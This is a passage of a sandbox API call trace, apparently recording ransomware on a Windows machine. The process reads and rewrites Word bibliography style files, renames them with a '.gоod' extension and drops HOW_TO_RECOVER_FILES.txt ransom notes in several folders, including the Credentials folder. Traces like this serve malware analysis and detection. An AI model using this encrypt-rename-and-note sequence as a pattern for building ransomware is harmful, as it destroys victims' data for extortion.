ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b42021, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8)) returned 1 [0243.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0243.278] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", lpFilePart=0x0) returned 0x47 [0243.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.279] GetFileType (hFile=0x82c) returned 0x1 [0243.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.279] GetFileType (hFile=0x82c) returned 0x1 [0243.279] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0243.279] ReadFile (in: hFile=0x82c, lpBuffer=0x3a5af28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x3a5af28*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0243.280] CloseHandle (hObject=0x82c) returned 1 [0243.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", lpFilePart=0x0) returned 0x47 [0243.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.281] GetFileType (hFile=0x82c) returned 0x1 [0243.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.281] GetFileType (hFile=0x82c) returned 0x1 [0243.281] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x3d5c8 [0243.281] WriteFile (in: hFile=0x82c, lpBuffer=0x3a5c640*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3a5c640*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0243.282] CloseHandle (hObject=0x82c) returned 1 [0243.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", lpFilePart=0x0) returned 0x47 [0243.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.283] GetFileType (hFile=0x82c) returned 0x1 [0243.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.283] GetFileType (hFile=0x82c) returned 0x1 [0243.283] ReadFile (in: hFile=0x82c, lpBuffer=0x3a5e8f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x3a5e8f8*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0243.365] CloseHandle (hObject=0x82c) returned 1 [0243.365] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", lpFilePart=0x0) returned 0x47 [0243.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.366] GetFileType (hFile=0x82c) returned 0x1 [0243.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.366] GetFileType (hFile=0x82c) returned 0x1 [0243.366] WriteFile (in: hFile=0x82c, lpBuffer=0x3880158*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x3880158*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0243.366] CloseHandle (hObject=0x82c) returned 1 [0243.366] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", lpFilePart=0x0) returned 0x47 [0243.366] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.gоod", lpFilePart=0x0) returned 0x4c [0243.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0243.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8d44345e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d5d8)) returned 1 [0243.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0243.367] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl.gоod")) returned 1 [0243.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", lpFilePart=0x0) returned 0x49 [0243.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0243.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), fInfoLevelId=0x0, lpFileInformation=0x38dab18 | out: lpFileInformation=0x38dab18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2b1bddb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x54256)) returned 1 [0243.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0243.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", lpFilePart=0x0) returned 0x49 [0243.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.368] GetFileType (hFile=0x82c) returned 0x1 [0243.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.369] GetFileType (hFile=0x82c) returned 0x1 [0243.369] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0243.369] ReadFile (in: hFile=0x82c, lpBuffer=0x38daf40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x38daf40*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0243.370] CloseHandle (hObject=0x82c) returned 1 [0243.370] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", lpFilePart=0x0) returned 0x49 [0243.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.370] GetFileType (hFile=0x82c) returned 0x1 [0243.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.370] GetFileType (hFile=0x82c) returned 0x1 [0243.370] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x54256 [0243.370] WriteFile (in: hFile=0x82c, lpBuffer=0x38dc1e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x38dc1e0*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0243.372] CloseHandle (hObject=0x82c) returned 1 [0243.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", lpFilePart=0x0) returned 0x49 [0243.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.372] GetFileType (hFile=0x82c) returned 0x1 [0243.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.372] GetFileType (hFile=0x82c) returned 0x1 [0243.372] ReadFile (in: hFile=0x82c, lpBuffer=0x38de4a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x38de4a8*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0243.745] CloseHandle (hObject=0x82c) returned 1 [0243.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", lpFilePart=0x0) returned 0x49 [0243.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0243.746] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0243.746] GetFileType (hFile=0x82c) returned 0x1 [0243.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0243.746] GetFileType (hFile=0x82c) returned 0x1 [0243.746] WriteFile (in: hFile=0x82c, lpBuffer=0x387fa70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x387fa70*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0243.746] CloseHandle (hObject=0x82c) returned 1 [0243.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", lpFilePart=0x0) returned 0x49 [0243.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.gоod", lpFilePart=0x0) returned 0x4e [0243.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0243.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e40435, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e40435, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8d7fcf4d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x54266)) returned 1 [0243.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0243.746] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl.gоod")) returned 1 [0243.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0243.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0243.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0243.748] GetFileType (hFile=0x82c) returned 0x1 [0243.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0243.748] GetFileType (hFile=0x82c) returned 0x1 [0243.748] WriteFile (in: hFile=0x82c, lpBuffer=0x3a6d8a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3a6d8a0*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0243.749] CloseHandle (hObject=0x82c) returned 1 [0243.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0243.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0243.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0243.749] GetFileType (hFile=0x82c) returned 0x1 [0243.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0243.749] GetFileType (hFile=0x82c) returned 0x1 [0243.750] WriteFile (in: hFile=0x82c, lpBuffer=0x3a71128*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3a71128*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0243.750] CloseHandle (hObject=0x82c) returned 1 [0243.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0243.751] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x35 [0243.751] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0243.751] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.751] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0243.751] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0243.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0243.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0243.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0243.751] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x35 [0243.752] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0243.752] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.752] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0243.752] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0243.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0243.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0243.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0243.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0243.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\credentials\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0243.753] GetFileType (hFile=0x82c) returned 0x1 [0243.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0243.753] GetFileType (hFile=0x82c) returned 0x1 [0243.754] WriteFile (in: hFile=0x82c, lpBuffer=0x3a821d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3a821d8*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0243.755] CloseHandle (hObject=0x82c) returned 1 [0243.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0243.755] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x30 [0243.755] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, 